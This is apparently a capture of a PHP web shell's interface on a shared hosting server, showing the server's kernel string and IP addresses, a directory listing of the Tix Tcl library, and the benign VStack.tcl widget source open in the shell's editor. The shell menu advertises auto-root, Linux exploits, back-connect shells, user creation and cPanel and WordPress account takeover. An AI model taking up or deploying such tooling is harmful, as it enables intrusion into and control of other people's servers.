Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.129.72.26
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lib64 /
tcl8.6 /
Tix8.4.3 /
[ HOME SHELL ]
Name
Size
Permission
Action
bitmaps
[ DIR ]
drwxr-xr-x
html
[ DIR ]
drwxr-xr-x
pref
[ DIR ]
drwxr-xr-x
Balloon.tcl
12.97
KB
-rw-r--r--
BtnBox.tcl
2.61
KB
-rw-r--r--
CObjView.tcl
7.56
KB
-rw-r--r--
ChkList.tcl
4.97
KB
-rw-r--r--
ComboBox.tcl
35.42
KB
-rw-r--r--
Compat.tcl
870
B
-rw-r--r--
Console.tcl
14.95
KB
-rw-r--r--
Control.tcl
12.11
KB
-rw-r--r--
DefSchm.tcl
2.94
KB
-rw-r--r--
DialogS.tcl
4.2
KB
-rw-r--r--
DirBox.tcl
5.3
KB
-rw-r--r--
DirDlg.tcl
2.15
KB
-rw-r--r--
DirList.tcl
6.9
KB
-rw-r--r--
DirTree.tcl
8.76
KB
-rw-r--r--
DragDrop.tcl
3.93
KB
-rw-r--r--
DtlList.tcl
1002
B
-rw-r--r--
EFileBox.tcl
11.12
KB
-rw-r--r--
EFileDlg.tcl
1.68
KB
-rw-r--r--
Event.tcl
5.11
KB
-rw-r--r--
FileBox.tcl
14
KB
-rw-r--r--
FileCbx.tcl
2.42
KB
-rw-r--r--
FileDlg.tcl
2.13
KB
-rw-r--r--
FileEnt.tcl
7.15
KB
-rw-r--r--
FloatEnt.tcl
3.1
KB
-rw-r--r--
Grid.tcl
21.16
KB
-rw-r--r--
HList.tcl
17.72
KB
-rw-r--r--
HListDD.tcl
4.39
KB
-rw-r--r--
IconView.tcl
5.97
KB
-rw-r--r--
Init.tcl
6.05
KB
-rw-r--r--
LabEntry.tcl
2.09
KB
-rw-r--r--
LabFrame.tcl
1.15
KB
-rw-r--r--
LabWidg.tcl
3.86
KB
-rw-r--r--
ListNBk.tcl
3.5
KB
-rw-r--r--
Meter.tcl
3.04
KB
-rw-r--r--
MultView.tcl
3.62
KB
-rw-r--r--
NoteBook.tcl
6.02
KB
-rw-r--r--
OldUtil.tcl
2.98
KB
-rw-r--r--
OptMenu.tcl
9.17
KB
-rw-r--r--
PanedWin.tcl
27.68
KB
-rw-r--r--
PopMenu.tcl
5.37
KB
-rw-r--r--
Primitiv.tcl
10.28
KB
-rw-r--r--
README.txt
987
B
-rw-r--r--
ResizeH.tcl
12.94
KB
-rw-r--r--
SGrid.tcl
5.8
KB
-rw-r--r--
SHList.tcl
3.7
KB
-rw-r--r--
SListBox.tcl
6.97
KB
-rw-r--r--
STList.tcl
2.37
KB
-rw-r--r--
SText.tcl
3.09
KB
-rw-r--r--
SWidget.tcl
9.52
KB
-rw-r--r--
SWindow.tcl
6.75
KB
-rw-r--r--
Select.tcl
7.04
KB
-rw-r--r--
Shell.tcl
1.06
KB
-rw-r--r--
SimpDlg.tcl
1.13
KB
-rw-r--r--
StackWin.tcl
1.95
KB
-rw-r--r--
StatBar.tcl
1.31
KB
-rw-r--r--
StdBBox.tcl
1.62
KB
-rw-r--r--
StdShell.tcl
1.15
KB
-rw-r--r--
TList.tcl
17.59
KB
-rw-r--r--
Tix.tcl
9.51
KB
-rw-r--r--
Tree.tcl
4.57
KB
-rw-r--r--
Utils.tcl
10.54
KB
-rw-r--r--
VResize.tcl
4.95
KB
-rw-r--r--
VStack.tcl
9.42
KB
-rw-r--r--
VTree.tcl
4.31
KB
-rw-r--r--
Variable.tcl
2.5
KB
-rw-r--r--
WInfo.tcl
965
B
-rw-r--r--
fs.tcl
3.9
KB
-rw-r--r--
libTix.so
341.3
KB
-rwxr-xr-x
license.terms
2.76
KB
-rw-r--r--
pkgIndex.tcl
122
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : VStack.tcl
# -*- mode: TCL; fill-column: 75; tab-width: 8; coding: iso-latin-1-unix -*- # # $Id: VStack.tcl,v 1.4 2004/03/28 02:44:57 hobbs Exp $ # # VStack.tcl -- # # Virtual base class, do not instantiate! This is the core # class for all NoteBook style widgets. Stack maintains a list # of windows. It provides methods to create, delete windows as # well as stepping through them. # # Copyright (c) 1993-1999 Ioi Kim Lam. # Copyright (c) 2000-2001 Tix Project Group. # # See the file "license.terms" for information on usage and redistribution # of this file, and for a DISCLAIMER OF ALL WARRANTIES. # # tixWidgetClass tixVStack { -virtual true -classname TixVStack -superclass tixPrimitive -method { add delete pageconfigure pagecget pages raise raised } -flag { -dynamicgeometry -ipadx -ipady } -configspec { {-dynamicgeometry dynamicGeometry DynamicGeometry 0 tixVerifyBoolean} {-ipadx ipadX Pad 0} {-ipady ipadY Pad 0} } } proc tixVStack:InitWidgetRec {w} { upvar #0 $w data tixChainMethod $w InitWidgetRec set data(pad-x1) 0 set data(pad-x2) 0 set data(pad-y1) 0 set data(pad-y2) 0 set data(windows) "" set data(nWindows) 0 set data(topchild) "" set data(minW) 1 set data(minH) 1 set data(w:top) $w set data(counter) 0 set data(repack) 0 } proc tixVStack:SetBindings {w} { upvar #0 $w data tixChainMethod $w SetBindings tixCallMethod $w InitGeometryManager } #---------------------------------------------------------------------- # Public methods #---------------------------------------------------------------------- proc tixVStack:add {w child args} { upvar #0 $w data set validOptions {-createcmd -raisecmd} set opt(-createcmd) "" set opt(-raisecmd) "" tixHandleOptions -nounknown opt $validOptions $args set data($child,raisecmd) $opt(-raisecmd) set data($child,createcmd) $opt(-createcmd) set data(w:$child) [tixCallMethod $w CreateChildFrame $child] lappend data(windows) $child incr data(nWindows) 1 return $data(w:$child) } proc tixVStack:delete {w child} { upvar #0 $w data if {[info exists data($child,createcmd)]} { if {[winfo exists $data(w:$child)]} { bind $data(w:$child) <Destroy> {;} destroy $data(w:$child) } catch {unset data($child,createcmd)} catch {unset data($child,raisecmd)} catch {unset data(w:$child)} set index [lsearch $data(windows) $child] if {$index >= 0} { set data(windows) [lreplace $data(windows) $index $index] incr data(nWindows) -1 } if {[string equal $data(topchild) $child]} { set data(topchild) "" foreach page $data(windows) { if {$page ne $child} { $w raise $page set data(topchild) $page break } } } } else { error "page $child does not exist" } } proc tixVStack:pagecget {w child option} { upvar #0 $w data if {![info exists data($child,createcmd)]} { error "page \"$child\" does not exist in $w" } case $option { -createcmd { return "$data($child,createcmd)" } -raisecmd { return "$data($child,raisecmd)" } default { if {$data(w:top) ne $w} { return [$data(w:top) pagecget $child $option] } else { error "unknown option \"$option\"" } } } } proc tixVStack:pageconfigure {w child args} { upvar #0 $w data if {![info exists data($child,createcmd)]} { error "page \"$child\" does not exist in $w" } set len [llength $args] if {$len == 0} { set value [$data(w:top) pageconfigure $child] lappend value [list -createcmd "" "" "" $data($child,createcmd)] lappend value [list -raisecmd "" "" "" $data($child,raisecmd)] return $value } if {$len == 1} { case [lindex $args 0] { -createcmd { return [list -createcmd "" "" "" $data($child,createcmd)] } -raisecmd { return [list -raisecmd "" "" "" $data($child,raisecmd)] } default { return [$data(w:top) pageconfigure $child [lindex $args 0]] } } } # By default handle each of the options # set opt(-createcmd) $data($child,createcmd) set opt(-raisecmd) $data($child,raisecmd) tixHandleOptions -nounknown opt {-createcmd -raisecmd} $args # # the widget options set new_args "" foreach {flag value} $args { if {$flag ne "-createcmd" && $flag ne "-raisecmd"} { lappend new_args $flag lappend new_args $value } } if {[llength $new_args] >= 2} { eval $data(w:top) pageconfig $child $new_args } # # The add-on options set data($child,raisecmd) $opt(-raisecmd) set data($child,createcmd) $opt(-createcmd) return "" } proc tixVStack:pages {w} { upvar #0 $w data return $data(windows) } proc tixVStack:raise {w child} { upvar #0 $w data if {![info exists data($child,createcmd)]} { error "page $child does not exist" } if {[llength $data($child,createcmd)]} { uplevel #0 $data($child,createcmd) set data($child,createcmd) "" } tixCallMethod $w RaiseChildFrame $child set oldTopChild $data(topchild) set data(topchild) $child if {$oldTopChild ne $child} { if {[llength $data($child,raisecmd)]} { uplevel #0 $data($child,raisecmd) } } } proc tixVStack:raised {w} { upvar #0 $w data return $data(topchild) } #---------------------------------------------------------------------- # Virtual Methods #---------------------------------------------------------------------- proc tixVStack:InitGeometryManager {w} { upvar #0 $w data bind $w <Configure> "tixVStack:MasterGeomProc $w" bind $data(w:top) <Destroy> "+tixVStack:DestroyTop $w" if {$data(repack) == 0} { set data(repack) 1 tixWidgetDoWhenIdle tixCallMethod $w Resize } } proc tixVStack:CreateChildFrame {w child} { upvar #0 $w data set f [frame $data(w:top).$child] tixManageGeometry $f "tixVStack:ClientGeomProc $w" bind $f <Configure> "tixVStack:ClientGeomProc $w -configure $f" bind $f <Destroy> "$w delete $child" return $f } proc tixVStack:RaiseChildFrame {w child} { upvar #0 $w data # Hide the original visible window if {$data(topchild) ne "" && $data(topchild) ne $child} { tixUnmapWindow $data(w:$data(topchild)) } set myW [winfo width $w] set myH [winfo height $w] set cW [expr {$myW - $data(pad-x1) - $data(pad-x2) - 2*$data(-ipadx)}] set cH [expr {$myH - $data(pad-y1) - $data(pad-y2) - 2*$data(-ipady)}] set cX [expr {$data(pad-x1) + $data(-ipadx)}] set cY [expr {$data(pad-y1) + $data(-ipady)}] if {$cW > 0 && $cH > 0} { tixMoveResizeWindow $data(w:$child) $cX $cY $cW $cH tixMapWindow $data(w:$child) raise $data(w:$child) } } #---------------------------------------------------------------------- # # G E O M E T R Y M A N A G E M E N T # #---------------------------------------------------------------------- proc tixVStack:DestroyTop {w} { catch { destroy $w } } proc tixVStack:MasterGeomProc {w args} { if {![winfo exists $w]} { return } upvar #0 $w data if {$data(repack) == 0} { set data(repack) 1 tixWidgetDoWhenIdle tixCallMethod $w Resize } } proc tixVStack:ClientGeomProc {w flag client} { if {![winfo exists $w]} { return } upvar #0 $w data if {$data(repack) == 0} { set data(repack) 1 tixWidgetDoWhenIdle tixCallMethod $w Resize } if {$flag eq "-lostslave"} { error "Geometry Management Error: \ Another geometry manager has taken control of $client.\ This error is usually caused because a widget has been created\ in the wrong frame: it should have been created inside $client instead\ of $w" } } proc tixVStack:Resize {w} { if {![winfo exists $w]} { return } upvar #0 $w data if {$data(nWindows) == 0} { set data(repack) 0 return } if {$data(-width) == 0 || $data(-height) == 0} { if {!$data(-dynamicgeometry)} { # Calculate my required width and height # set maxW 1 set maxH 1 foreach child $data(windows) { set cW [winfo reqwidth $data(w:$child)] set cH [winfo reqheight $data(w:$child)] if {$maxW < $cW} { set maxW $cW } if {$maxH < $cH} { set maxH $cH } } set reqW $maxW set reqH $maxH } else { if {$data(topchild) ne ""} { set reqW [winfo reqwidth $data(w:$data(topchild))] set reqH [winfo reqheight $data(w:$data(topchild))] } else { set reqW 1 set reqH 1 } } incr reqW [expr {$data(pad-x1) + $data(pad-x2) + 2*$data(-ipadx)}] incr reqH [expr {$data(pad-y1) + $data(pad-y2) + 2*$data(-ipady)}] if {$reqW < $data(minW)} { set reqW $data(minW) } if {$reqH < $data(minH)} { set reqH $data(minH) } } # These take higher precedence # if {$data(-width) != 0} { set reqW $data(-width) } if {$data(-height) != 0} { set reqH $data(-height) } if {[winfo reqwidth $w] != $reqW || [winfo reqheight $w] != $reqH} { if {![info exists data(counter)]} { set data(counter) 0 } if {$data(counter) < 50} { incr data(counter) tixGeometryRequest $w $reqW $reqH tixWidgetDoWhenIdle tixCallMethod $w Resize set data(repack) 1 return } } set data(counter) 0 if {$data(w:top) ne $w} { tixMoveResizeWindow $data(w:top) 0 0 [winfo width $w] [winfo height $w] tixMapWindow $data(w:top) } if {[string equal $data(topchild) ""]} { set top [lindex $data(windows) 0] } else { set top $data(topchild) } if {$top ne ""} { tixCallMethod $w raise $top } set data(repack) 0 }
Close